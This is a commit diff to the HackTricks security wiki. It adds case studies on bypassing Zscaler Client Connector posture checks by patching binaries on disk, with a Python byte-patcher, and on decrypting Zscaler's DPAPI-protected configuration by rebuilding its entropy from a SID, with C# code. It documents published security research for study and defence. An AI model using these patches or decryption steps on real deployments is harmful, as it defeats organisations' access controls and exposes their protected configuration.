mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge pull request #1261 from HackTricks-wiki/update_Should_you_trust_your_zero_trust__Bypassing_Zscale_20250808_124427
Should you trust your zero trust? Bypassing Zscaler posture ...
This commit is contained in:
commit
6cc2ab141c
@ -144,4 +144,3 @@ This license does not grant any trademark or branding rights in relation to the
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -677,7 +677,49 @@ Detection / Mitigation
|
||||
• Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list.
|
||||
• Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls.
|
||||
|
||||
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
|
||||
|
||||
Zscaler’s **Client Connector** applies device-posture rules locally and relies on Windows RPC to communicate the results to other components. Two weak design choices make a full bypass possible:
|
||||
|
||||
1. Posture evaluation happens **entirely client-side** (a boolean is sent to the server).
|
||||
2. Internal RPC endpoints only validate that the connecting executable is **signed by Zscaler** (via `WinVerifyTrust`).
|
||||
|
||||
By **patching four signed binaries on disk** both mechanisms can be neutralised:
|
||||
|
||||
| Binary | Original logic patched | Result |
|
||||
|--------|------------------------|---------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Always returns `1` so every check is compliant |
|
||||
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ any (even unsigned) process can bind to the RPC pipes |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Replaced by `mov eax,1 ; ret` |
|
||||
| `ZSATunnel.exe` | Integrity checks on the tunnel | Short-circuited |
|
||||
|
||||
Minimal patcher excerpt:
|
||||
|
||||
```python
|
||||
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
|
||||
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
|
||||
|
||||
with open("ZSATrayManager.exe", "r+b") as f:
|
||||
data = f.read()
|
||||
off = data.find(pattern)
|
||||
if off == -1:
|
||||
print("pattern not found")
|
||||
else:
|
||||
f.seek(off)
|
||||
f.write(replacement)
|
||||
```
|
||||
|
||||
After replacing the original files and restarting the service stack:
|
||||
|
||||
* **All** posture checks display **green/compliant**.
|
||||
* Unsigned or modified binaries can open the named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* The compromised host gains unrestricted access to the internal network defined by the Zscaler policies.
|
||||
|
||||
This case study demonstrates how purely client-side trust decisions and simple signature checks can be defeated with a few byte patches.
|
||||
|
||||
## References
|
||||
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -341,8 +341,48 @@ With extracted from LDAP computers list you can find every sub network even if y
|
||||
* **Chrome 127 “App-Bound” cookie encryption** (July 2024) replaced the legacy DPAPI-only protection with an additional key stored under the user’s **Credential Manager**. Offline decryption of cookies now requires both the DPAPI masterkey and the **GCM-wrapped app-bound key**. SharpChrome v2.3 and DonPAPI 2.x are able to recover the extra key when running with user context.
|
||||
|
||||
|
||||
### Case Study: Zscaler Client Connector – Custom Entropy Derived From SID
|
||||
|
||||
Zscaler Client Connector stores several configuration files under `C:\ProgramData\Zscaler` (e.g. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Each file is encrypted with **DPAPI (Machine scope)** but the vendor supplies **custom entropy** that is *calculated at runtime* instead of being stored on disk.
|
||||
|
||||
The entropy is rebuilt from two elements:
|
||||
|
||||
1. A hard-coded secret embedded inside `ZSACredentialProvider.dll`.
|
||||
2. The **SID** of the Windows account the configuration belongs to.
|
||||
|
||||
The algorithm implemented by the DLL is equivalent to:
|
||||
|
||||
```csharp
|
||||
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
|
||||
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
|
||||
|
||||
// XOR the two buffers byte-by-byte
|
||||
byte[] tmp = new byte[secret.Length];
|
||||
for (int i = 0; i < secret.Length; i++)
|
||||
tmp[i] = (byte)(sid[i] ^ secret[i]);
|
||||
|
||||
// Split in half and XOR both halves together to create the final entropy buffer
|
||||
byte[] entropy = new byte[tmp.Length / 2];
|
||||
for (int i = 0; i < entropy.Length; i++)
|
||||
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
|
||||
```
|
||||
|
||||
Because the secret is embedded in a DLL that can be read from disk, **any local attacker with SYSTEM rights can regenerate the entropy for any SID** and decrypt the blobs offline:
|
||||
|
||||
```csharp
|
||||
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
|
||||
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
|
||||
Console.WriteLine(Encoding.UTF8.GetString(clear));
|
||||
```
|
||||
|
||||
Decryption yields the complete JSON configuration, including every **device posture check** and its expected value – information that is very valuable when attempting client-side bypasses.
|
||||
|
||||
> TIP: the other encrypted artefacts (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) are protected with DPAPI **without** entropy (`16` zero bytes). They can therefore be decrypted directly with `ProtectedData.Unprotect` once SYSTEM privileges are obtained.
|
||||
|
||||
## References
|
||||
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
|
||||
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
|
||||
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
|
||||
|
Loading…
x
Reference in New Issue
Block a user